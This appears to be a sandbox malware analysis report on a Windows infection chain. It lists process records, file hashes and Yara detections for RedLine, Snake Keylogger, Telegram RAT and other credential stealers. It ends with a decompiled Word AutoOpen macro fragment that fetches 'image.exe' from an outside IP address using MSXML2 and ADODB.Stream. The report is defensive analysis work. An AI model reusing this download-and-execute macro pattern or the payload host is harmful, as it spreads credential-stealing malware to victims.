                                                                                                                                                          • Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000C.00000002.3410702228.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                          • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                          • Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 0000000C.00000002.3410702228.0000000000C20000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                          • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 0000000C.00000001.2208904113.0000000000C20000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                          • Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                          • Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                          • Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000C.00000001.2208904113.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                          • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                          • Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                          • Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                          Antivirus matches:
                                                                                                                                                          • Detection: 3%, ReversingLabs
                                                                                                                                                          Reputation:moderate
                                                                                                                                                          Has exited:false

                                                                                                                                                          General

                                                                                                                                                          Target ID:13
                                                                                                                                                          Start time:07:25:15
                                                                                                                                                          Start date:07/01/2025
                                                                                                                                                          Path:C:\Users\Public\Libraries\Aiymwhpj.PIF
                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                          Commandline:"C:\Users\Public\Libraries\Aiymwhpj.PIF"
                                                                                                                                                          Imagebase:0x400000
                                                                                                                                                          File size:1'161'216 bytes
                                                                                                                                                          MD5 hash:483AB6BD562B28782D0999ABEC4F57F5
                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                          Programmed in:Borland Delphi
                                                                                                                                                          Reputation:low
                                                                                                                                                          Has exited:true

                                                                                                                                                          General

                                                                                                                                                          Target ID:14
                                                                                                                                                          Start time:07:25:16
                                                                                                                                                          Start date:07/01/2025
                                                                                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                          Commandline:C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
                                                                                                                                                          Imagebase:0x790000
                                                                                                                                                          File size:236'544 bytes
                                                                                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                          Reputation:high
                                                                                                                                                          Has exited:true

                                                                                                                                                          General

                                                                                                                                                          Target ID:15
                                                                                                                                                          Start time:07:25:16
                                                                                                                                                          Start date:07/01/2025
                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                          Imagebase:0x7ff6d64d0000
                                                                                                                                                          File size:862'208 bytes
                                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                          Reputation:high
                                                                                                                                                          Has exited:true

                                                                                                                                                          General

                                                                                                                                                          Target ID:16
                                                                                                                                                          Start time:07:25:16
                                                                                                                                                          Start date:07/01/2025
                                                                                                                                                          Path:C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                          Commandline:C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          Imagebase:0x400000
                                                                                                                                                          File size:175'800 bytes
                                                                                                                                                          MD5 hash:22331ABCC9472CC9DC6F37FAF333AA2C
                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                          Yara matches:
                                                                                                                                                          • Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000010.00000001.2321191405.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                          • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                          • Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                          • Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                          • Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000010.00000002.3410753000.0000000000B90000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000010.00000001.2321191405.0000000000B90000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000010.00000002.3444167534.000000001A451000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                          • Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                          • Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                          • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                          • Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000010.00000002.3410753000.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                          • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                          • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000002.3446431807.000000001B4F5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000010.00000002.3446431807.000000001B4F5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          Reputation:moderate
                                                                                                                                                          Has exited:false

                                                                                                                                                          General

                                                                                                                                                          Target ID:17
                                                                                                                                                          Start time:07:25:23
                                                                                                                                                          Start date:07/01/2025
                                                                                                                                                          Path:C:\Users\Public\Libraries\Aiymwhpj.PIF
                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                          Commandline:"C:\Users\Public\Libraries\Aiymwhpj.PIF"
                                                                                                                                                          Imagebase:0x400000
                                                                                                                                                          File size:1'161'216 bytes
                                                                                                                                                          MD5 hash:483AB6BD562B28782D0999ABEC4F57F5
                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                          Programmed in:Borland Delphi
                                                                                                                                                          Reputation:low
                                                                                                                                                          Has exited:true

                                                                                                                                                          General

                                                                                                                                                          Target ID:18
                                                                                                                                                          Start time:07:25:23
                                                                                                                                                          Start date:07/01/2025
                                                                                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                          Commandline:C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
                                                                                                                                                          Imagebase:0x790000
                                                                                                                                                          File size:236'544 bytes
                                                                                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                          Reputation:high
                                                                                                                                                          Has exited:true

                                                                                                                                                          General

                                                                                                                                                          Target ID:19
                                                                                                                                                          Start time:07:25:24
                                                                                                                                                          Start date:07/01/2025
                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                          Imagebase:0x7ff6d64d0000
                                                                                                                                                          File size:862'208 bytes
                                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                          Reputation:high
                                                                                                                                                          Has exited:true

                                                                                                                                                          General

                                                                                                                                                          Target ID:20
                                                                                                                                                          Start time:07:25:24
                                                                                                                                                          Start date:07/01/2025
                                                                                                                                                          Path:C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                          Commandline:C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          Imagebase:0x400000
                                                                                                                                                          File size:175'800 bytes
                                                                                                                                                          MD5 hash:22331ABCC9472CC9DC6F37FAF333AA2C
                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                          Yara matches:
                                                                                                                                                          • Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000014.00000002.3410815376.0000000000B90000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                          • Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                          • Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                          • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                          • Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000014.00000002.3410815376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                          • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000014.00000001.2400403863.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                          • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                          • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000002.3446220044.000000002B461000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000014.00000002.3446220044.000000002B461000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000014.00000001.2400403863.0000000000B90000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                          • Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                          • Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                          • Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000014.00000002.3444524206.000000002A3C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                          Has exited:false

                                                                                                                                                          Disassembly

                                                                                                                                                          Code Analysis

                                                                                                                                                          Call Graph

                                                                                                                                                          • Entrypoint
                                                                                                                                                          • Decryption Function
                                                                                                                                                          • Executed
                                                                                                                                                          • Not Executed
                                                                                                                                                          • Show Help
                                                                                                                                                          callgraph 9 AutoOpen Shell:1,CreateObject:2,Open:1,Send:1

                                                                                                                                                          Module: ThisDocument

                                                                                                                                                          Declaration
                                                                                                                                                          LineContent
                                                                                                                                                          1

                                                                                                                                                          Attribute VB_Name = "ThisDocument"

                                                                                                                                                          2

                                                                                                                                                          Attribute VB_Base = "1Normal.ThisDocument"

                                                                                                                                                          3

                                                                                                                                                          Attribute VB_GlobalNameSpace = False

                                                                                                                                                          4

                                                                                                                                                          Attribute VB_Creatable = False

                                                                                                                                                          5

                                                                                                                                                          Attribute VB_PredeclaredId = True

                                                                                                                                                          6

                                                                                                                                                          Attribute VB_Exposed = True

                                                                                                                                                          7

                                                                                                                                                          Attribute VB_TemplateDerived = True

                                                                                                                                                          8

                                                                                                                                                          Attribute VB_Customizable = True

                                                                                                                                                          Executed Functions

                                                                                                                                                          Subroutine

                                                                                                                                                          AutoOpenAPIs: 6, Strings: 20, Number of lines: 59, Relevance: 70.059

                                                                                                                                                          APIsMeta Information

                                                                                                                                                          CreateObject

                                                                                                                                                          		CreateObject("MSXML2.ServerXMLHTTP")

                                                                                                                                                          CreateObject

                                                                                                                                                          		CreateObject("Adodb.Stream")

                                                                                                                                                          Open

                                                                                                                                                          		IServerXMLHTTPRequest2.Open("GET","http://147.124.216.113/image.exe",False)

                                                                                                                                                          Send

                                                                                                                                                          responsebody

